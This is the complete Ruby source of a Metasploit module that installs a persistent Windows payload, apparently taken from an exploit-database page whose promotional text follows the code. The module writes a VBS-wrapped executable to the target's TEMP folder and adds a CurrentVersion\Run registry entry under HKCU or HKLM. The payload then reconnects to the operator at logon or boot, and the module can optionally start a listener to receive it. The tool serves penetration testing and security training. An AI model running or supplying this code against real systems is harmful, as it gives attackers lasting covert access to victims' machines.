##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Persistent Registry Startup Payload Installer',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" (depending on privilege and selected method).
},
'License' => MSF_LICENSE,
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-10-19',
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
stdapi_sys_config_getuid
stdapi_sys_config_sysinfo
]
}
}
)
)
register_options([
OptInt.new('DELAY',
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('VBS_NAME',
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
OptString.new('EXE_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('REG_NAME',
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
OptString.new('PATH',
[false, 'Path to write payload (%TEMP% by default).', nil])
])
register_advanced_options([
OptBool.new('HANDLER',
[false, 'Start an exploit/multi/handler job to receive the connection', false]),
OptBool.new('EXEC_AFTER',
[false, 'Execute persistent script after installing.', false])
])
end
# Exploit method for when exploit command is issued
def exploit
# Define default values
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
startup = datastore['STARTUP'].downcase
delay = datastore['DELAY']
exec_after = datastore['EXEC_AFTER']
handler = datastore['HANDLER']
@clean_up_rc = ""
rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4, 4] != '.vbs'
rexe_name = rexe_name + '.exe' if rexe_name[-4, 4] != '.exe'
# Connect to the session
begin
host = session.session_host
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue => e
print_error("Could not connect to session: #{e}")
return nil
end
# Check values
if is_system? && startup == 'user'
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
end
if handler && !datastore['DisablePayloadHandler']
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
print_warning("Disabling HANDLER...")
handler = false
end
# Generate the exe payload
vprint_status("Generating EXE payload (#{rexe_name})")
exe = generate_payload_exe
# Generate the vbs payload
vprint_status("Generating VBS persistent script (#{rvbs_name})")
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, { :persist => true, :delay => delay, :exe_filename => rexe_name })
# Writing the payload to target
vprint_status("Writing payload inside the VBS script on the target")
script_on_target = write_script_to_target(vbsscript, rvbs_name)
# Exit the module because we failed to write the file on the target host
# Feedback has already been given to the user, via the function.
return unless script_on_target
# Initial execution of persistent script
case startup
when 'user'
# If we could not write the entry in the registy we exit the module.
return unless write_to_reg("HKCU", script_on_target, reg_val)
vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
when 'system'
# If we could not write the entry in the registy we exit the module.
return unless write_to_reg("HKLM", script_on_target, reg_val)
vprint_status("Payload will execute at the next SYSTEM startup")
else
print_error("Something went wrong. Invalid STARTUP method: #{startup}")
return nil
end
# Do we setup a exploit/multi/handler job?
if handler
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
end
end
# Do we execute the VBS script afterwards?
target_exec(script_on_target) if exec_after
# Create 'clean up' resource file
clean_rc = log_file()
file_local_write(clean_rc, @clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
report_note(:host => host,
:type => "host.persistance.cleanup",
:data => {
:local_id => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:commands => @clean_up_rc
})
end
# Writes script to target host and returns the pathname of the target file or nil if the
# file could not be written.
def write_script_to_target(vbs, name)
filename = name || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".vbs"
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
filepath = temppath + "\\" + filename
unless directory?(temppath)
print_error("#{temppath} does not exist on the target")
return nil
end
if file?(filepath)
print_warning("#{filepath} already exists on the target. Deleting...")
begin
file_rm(filepath)
print_good("Deleted #{filepath}")
rescue
print_error("Unable to delete file!")
return nil
end
end
begin
write_file(filepath, vbs)
print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")
# Escape windows pathname separators.
@clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
rescue
print_error("Could not write the payload on the target")
# Return nil since we could not write the file on the target
filepath = nil
end
filepath
end
# Installs payload in to the registry HKLM or HKCU
def write_to_reg(key, script_on_target, registry_value)
regsuccess = true
nam = registry_value || Rex::Text.rand_text_alpha(rand(8) + 8)
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing as #{key_path}\\#{nam}")
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
else
print_error("Failed to make entry in the registry for persistence")
regsuccess = false
end
regsuccess
end
# Executes script on target and returns true if it was successfully started
def target_exec(script_on_target)
execsuccess = true
print_status("Executing script #{script_on_target}")
# Lets give the target a few seconds to catch up...
Rex.sleep(3)
# Error handling for process.execute() can throw a RequestError in send_request.
begin
unless datastore['EXE::Custom']
cmd_exec("wscript \"#{script_on_target}\"")
else
cmd_exec("cscript \"#{script_on_target}\"")
end
rescue
print_error("Failed to execute payload on target")
execsuccess = false
end
execsuccess
end
# Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')
unless check_for_listener(lhost, lport)
# Set options for module
mh = client.framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['WORKSPACE'] = client.workspace
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
Rex.sleep(5)
return nil if framework.jobs[mh.job_id.to_s].nil?
return mh.job_id.to_s
else
print_error('A job is listening on the same local port')
return nil
end
end
# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
def check_for_listener(lhost, lport)
client.framework.jobs.each do |k, j|
if j.name =~ / multi\/handler/
current_id = j.jid
current_lhost = j.ctx[0].datastore['LHOST']
current_lport = j.ctx[0].datastore['LPORT']
if lhost == current_lhost && lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
return true
end
end
end
false
end
# Function for creating log folder and returning log path
def log_file(log_path = nil)
# Get hostname
host = session.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
else
logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
end
# Create the log directory
::FileUtils.mkdir_p(logs)
# logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
logfile
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation